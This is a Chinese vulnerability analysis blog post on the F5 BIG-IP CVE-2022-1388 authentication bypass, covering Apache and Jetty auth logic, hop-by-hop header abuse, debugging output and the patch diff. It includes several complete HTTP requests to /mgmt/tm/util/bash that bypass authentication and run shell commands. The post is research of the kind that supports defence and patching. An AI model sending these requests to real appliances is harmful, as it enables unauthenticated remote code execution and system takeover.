F5 BIGIP CVE-2022-1388 认证绕过漏洞分析
2022-6-6 23:20:0 Author: xz.aliyun.com(查看原文) 阅读量:47 收藏

概述

官网5月5日漏洞通告:https://support.f5.com/csp/article/K23605346

漏洞影响面:

作为java初学者,尝试基于大佬们的文章稍微深入的分析了一下,因为能力不足,在分析过程中其实没有保留一个很严谨的思路和逻辑,反倒像自己一些疑问点的探析,可能有点乱,希望能给观者启发,同时求大佬们轻锤。

分析

根据我的上一篇文章对CVE-2021-22986的分析可知

由于数据流是apache获取后根据url的模式将数据包转发给8100的jetty,针对F5 BIG-IP iControl REST API的认证绕过要过两关,分别是apache的认证以及jetty的认证。

apache认证验证逻辑

在CVE-2021-22986影响版本中(我的是16.0.0),针对apache的认证绕过只要满足包头中存在X-F5-Auth-Token字段即可绕过,但是CVE-2021-22986修复版本(我使用的是16.1.2.1)中进行了修复,如果包头X-F5-Auth-Token参数为空则会直接返回401,如果不为空则依然可以转发至jetty。

jetty认证验证逻辑

另外,在CVE-2021-22986影响版本中,jetty认证校验中只要求取包头X-F5-Auth-Token的值结果为null,同时Authorization头中username有效即可(admin为默认有效的username),在CVE-2021-22986修复版本中,则首先会判断包头X-F5-Auth-Token的值结果是否为null,如果不是则使用包头X-F5-Auth-Token的值验证,如果为空则根据Authorization的值来进行判断。

根据CVE-2021-22986修复版本(我使用的是16.1.2.1)中setIdentityFromBasicAuth可知

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
    String authHeader = request.getBasicAuthorization();
    if (authHeader == null) {
        return false;
    } else {
        final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
        String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
        if (xForwardedHostHeaderValue == null) {
            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
            if (runnable != null) {
                runnable.run();
            }

            return true;
        } else {
            String[] valueList = xForwardedHostHeaderValue.split(", ");
            int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
            if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
                if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                    if (runnable != null) {
                        runnable.run();
                    }

                    return true;
                } else {
                    boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
                    if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
                        AuthProviderLoginState loginState = new AuthProviderLoginState();
                        loginState.username = components.userName;
                        loginState.password = components.password;
                        loginState.address = request.getRemoteSender();
                        RestRequestCompletion authCompletion = new RestRequestCompletion() {
                            public void completed(RestOperation subRequest) {
                                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                                if (runnable != null) {
                                    runnable.run();
                                }

                            }

                            public void failed(Exception ex, RestOperation subRequest) {
                                RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
                                if (ex.getMessage().contains("Password expired")) {
                                    request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
                                }

                                if (runnable != null) {
                                    runnable.run();
                                }

                            }
                        };

                        try {
                            RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
                            RestRequestSender.sendPost(subRequest);
                        } catch (URISyntaxException var11) {
                            LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
                        }

                        return true;
                    } else {
                        request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                        if (runnable != null) {
                            runnable.run();
                        }

                        return true;
                    }
                }
            } else {
                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                if (runnable != null) {
                    runnable.run();
                }

                return true;
            }
        }
    }
}

static {
    TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}

}

修复后的代码针对请求头的X-Forwarded-Host这个list中最后一个元素做了检查,如果是127.0.0.1,或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用Authoriaztion头中的口令密码重新验证。

hop-by-hop

根据hop-by-hop headers

RFC 2616,HTTP/1.1 规范默认将以下标头视为逐跳:Keep-AliveTransfer-EncodingTEConnectionTrailerUpgrade和。当在请求中遇到这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点.除了这些默认值之外,请求还可以定义一组自定义的标头,通过将它们添加到connection中来逐跳处理,如下所示

Connection: close, X-Foo, X-Bar

这样子,不仅Connection不会呗转发到下一个跃点,而且其中定义的标头X-Foo、X-Bar也同样。参考以下示意图

组合实现漏洞绕过

一个有效的触发数据包是这样的

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs": "-c id"}

我们可以大胆猜测,在apache检查中,因为头部X-F5-Auth-Token存在值且不为空,所以成功绕过验证;

在转发给jetty处理时根据hop-by-hop会将connection头以及X-F5-Auth-Token去掉转发;

在jetty验证中,再次取X-F5-Auth-Token值为空,X-Forwarded-Host会将Host字段的值添加进来,检查结果为127.0.0.1,且Authoriaztion中username有效(admin),因而认证通过。

如果我们的猜测正确,那么发送以下数据包也应该成功(将Host ip设置为127.4.2.1,Authoriaztion的username设置为f5hubblelcdadmin)

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs": "-c id"}

测试确实成功:

并且如果在Host值为127.4.2.1的情况下将Authorization的username值设置为admin的话,则会失败,测试确实如所料

调试

为了验证猜想正确,进行调试分析

调试开启步骤参考上一篇文章,即编辑/var/service/restjavad/run文件,加入

JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"

同时,防火墙开启8777端口

[[email protected]:NO LICENSE:Standalone] / # tmsh
[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

然后使用idea连接远程调试即可

断点直接下在RestServerServlet.class的service函数中即可,直接看apache传过来的request

先发送一个可以触发漏洞的包:

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs": "-c id"}

此时,在断点处获取到的op的值为

[
 id=4255273
 referer=null
 uri=http://localhost:8100/mgmt/tm/util/bash
 method=POST
 statusCode=200
 contentType=application/json
 contentLength=41
 contentRange=null
 deadline=Tue May 24 12:16:12 PDT 2022
 body=null
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Local-Ip-From-Httpd'='172.16.113.247'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Server'='localhost.localdomain'
   'X-F5-New-Authtok-Reqd'='false'
   'X-Forwarded-Host'='127.0.0.1'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]

可以看到,X-Forwarded-Host的值就是我们果然传进入的host的值,因为基本上确定,apache在处理过程中将host头参数添加到X-Forwarded-Host参数中并传递给jetty,通过字符串匹配的方法,我们查找并确定时/etc/httpd/modules/mod_proxy.so在处理这个头

可以看到,apache在处理过程中会调用mod_proxy.so,将Host的值添加到X-Forwarded-Host这个值当中,然后再传递给jetty,jetty又会根据X-Forwarded-Host的值来进行权限验证,整体流程基本清楚。

但是这里我们看到,程序是使用了apr_table_mergen这个方法来将Host的值添加到X-Forwarded-Host当中,而不是使用apr_table_set这个方法直接设置,所以我们试想,如果在发送给apache的包中直接就包含有效的X-Forwarded-Host值会如何呢?

测试发现失败的

在断点处获得op的值为:

[
 id=4260158
 referer=null
 uri=http://localhost:8100/mgmt/tm/util/bash
 method=POST
 statusCode=200
 contentType=application/json
 contentLength=41
 contentRange=null
 deadline=Tue May 24 12:40:23 PDT 2022
 body=null
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Local-Ip-From-Httpd'='172.16.113.247'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Server'='localhost.localdomain'
   'X-F5-New-Authtok-Reqd'='false'
   'X-Forwarded-Host'='127.0.0.1, 123.123.123.123'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]

经过调试分析可以看到,jetty拿到的数据包中的X-Forwarded-Host参数融合了Host和原始发送给apache的X-Forwarded-Host参数的值,但是jetty在认证检查setIdentityFromBasicAuth中检查的是X-Forwarded-Host这个列表中最后一个元素的值(即Host头的值),所以只有host的值为127.0.0.1或者127.4.2.1才行

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
    String authHeader = request.getBasicAuthorization();
    if (authHeader == null) {
        return false;
    } else {
        final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
        String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
        if (xForwardedHostHeaderValue == null) {
            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
            if (runnable != null) {
                runnable.run();
            } 
            return true;
    } else {
        String[] valueList = xForwardedHostHeaderValue.split(", ");
        int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
        if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
            if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                if (runnable != null) {
                    runnable.run();
                }

                return true;
            } else {
                boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
                if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
                    AuthProviderLoginState loginState = new AuthProviderLoginState();
                    loginState.username = components.userName;
                    loginState.password = components.password;
                    loginState.address = request.getRemoteSender();
                    RestRequestCompletion authCompletion = new RestRequestCompletion() {
                        public void completed(RestOperation subRequest) {
                            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                            if (runnable != null) {
                                runnable.run();
                            }

                        }

                        public void failed(Exception ex, RestOperation subRequest) {
                            RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
                            if (ex.getMessage().contains("Password expired")) {
                                request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
                            }

                            if (runnable != null) {
                                runnable.run();
                            }

                        }
                    };

                    try {
                        RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
                        RestRequestSender.sendPost(subRequest);
                    } catch (URISyntaxException var11) {
                        LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
                    }

                    return true;
                } else {
                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                    if (runnable != null) {
                        runnable.run();
                    }

                    return true;
                }
            }
        } else {
            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
            if (runnable != null) {
                runnable.run();
            }

            return true;
        }
    }
}
}

static {
    TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}

}

但是,在jetty中,在RestServerServlet.class中setHostIpAddress中在获取到请求时会检查包头中是否有X-Forwarded-Host参数,如果有则跳过继续运行,如果没有的话则会赋值localhost。所以可以想到,在apache转发给jetty的请求中如果X-Forwarded-Host的值为空或者不存在,也可以绕过认证

如果直接发送给apache的包头中去掉Host参数,同时也没有X-Forwarded-Host参数的话,jetty获取到的X-Forwarded-Host值应该是空的,但是经过测试,Host参数不能缺少,否则报错

所以可以考虑通过hop-by-hop的方法,将X-Forwarded-Host添加在connection当中,这样子,在转发给jetty的X-Forwarded-Host参数应该也是空,尝试果然可以

测试果然如所料:

几种绕过模式总结

经过以上分析,发现绕过apache的思路其实比较单一,就是头中包含X-F5-Auth-Token,并且在connection中包含X-F5-Auth-Token

但是绕过jetty的方式不止一种,简单总结一下:

  1. host的值为127.0.0.1、localhost等值,Authorization为admin的base64

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: 127.0.0.1
    Authorization: Basic YWRtaW46
    X-F5-Auth-Token: a
    Connection: X-F5-Auth-Token
    Content-type: application/json
    Content-Length: 41
    
    {"command":"run", "utilCmdArgs": "-c id"}
    
  2. host的值为127.4.2.1,Authoriaztion为f5hubblelcdadmin的base64

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: 127.4.2.1
    Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
    X-F5-Auth-Token: a
    Connection: X-F5-Auth-Token
    Content-type: application/json
    Content-Length: 41
    
    {"command":"run", "utilCmdArgs": "-c id"}
    
  3. host值为默认,connection中包含X-Forwarded-Host的值,造成jetty在检查X-Forwarded-Host发现为空所以置localhost进而绕过

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: 172.16.113.244
    Authorization: Basic YWRtaW46
    X-F5-Auth-Token: a
    connection: X-F5-Auth-Token, X-Forwarded-Host
    Content-type: application/json
    Content-Length: 41
    
    {"command":"run", "utilCmdArgs": "-c id"}
    

修复

安装16.1.2.2修复版本,查看修复情况

mod_auth_pam修复情况

简单查看mod_auth_pam.so针对X-F5-Auth-Token处理的变化

老版本中(16.1.2.1)中,只检查X-F5-Auth-Token的值不为空即可绕过认证

但是在修复版本(16.1.2.2)中X-F5-Auth-Token不仅不能为空,而且要检查正确性,有效才通过认证

Apache配置文件修复情况

╰─$ diff ./16.1.2.1/httpd.conf ./16.1.2.2/httpd.conf
1006a1007,1015
> <If "%{HTTP:connection} =~ /close/i ">
>     RequestHeader set connection close
>     </If>
>     <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">
>     RequestHeader set connection keep-alive
>     </ElseIf>
>     <Else>
>         RequestHeader set connection close
>         </Else>

可以看出配置中新增选项,如果头connection中只要有close字段,则直接将connection的值设置为close,如果头connection中只要有keep-alive字段,则直接将connection的值设置为keep-alive,去除了通过hop-by-hop除去X-F5-Auth-Token头的可能性

实际测试一下,发送以下数据包:

POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46YWRtaW4=
connection: close, X-Forwarded-Host
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs": "-c id"}

在jetty中下断点,发现X-Forwarded-Host依然存在,且取的是host的值,可判断,通过hop-by-hop除去X-F5-Auth-Token头的方法也不存在

[
 id=1690145
 referer=null
 uri=http://localhost:8100/mgmt/tm/util/bash
 method=POST
 statusCode=200
 contentType=application/json
 contentLength=41
 contentRange=null
 deadline=Fri May 27 06:17:23 PDT 2022
 body=null
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Tmui-Dubbuf'='mbDASW8cWiBbzv7Ey2zxzKtX'
   'REMOTECONSOLE'='/bin/false'
   'REMOTEROLE'='0'
   'Session-Invalid'='true'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Host'='172.16.113.244'
   'X-F5-New-Authtok-Reqd'='false'
   'Local-Ip-From-Httpd'='172.16.113.245'
   'X-Forwarded-Server'='localhost.localdomain'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]

参考

[1] 从滥用HTTP hop by hop请求头看CVE-2022-1388

[2] hop-by-hop headers

[3] CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现

[4] BIG-IP(CVE-2022-1388)从修复方案分析出exp

[5] F5 BIG-IP 未授权 RCE(CVE-2022-1388)分析

[6] CVE-2022-1388漏洞分析


文章来源: https://xz.aliyun.com/t/11418
如有侵权请联系:admin#unsafe.sh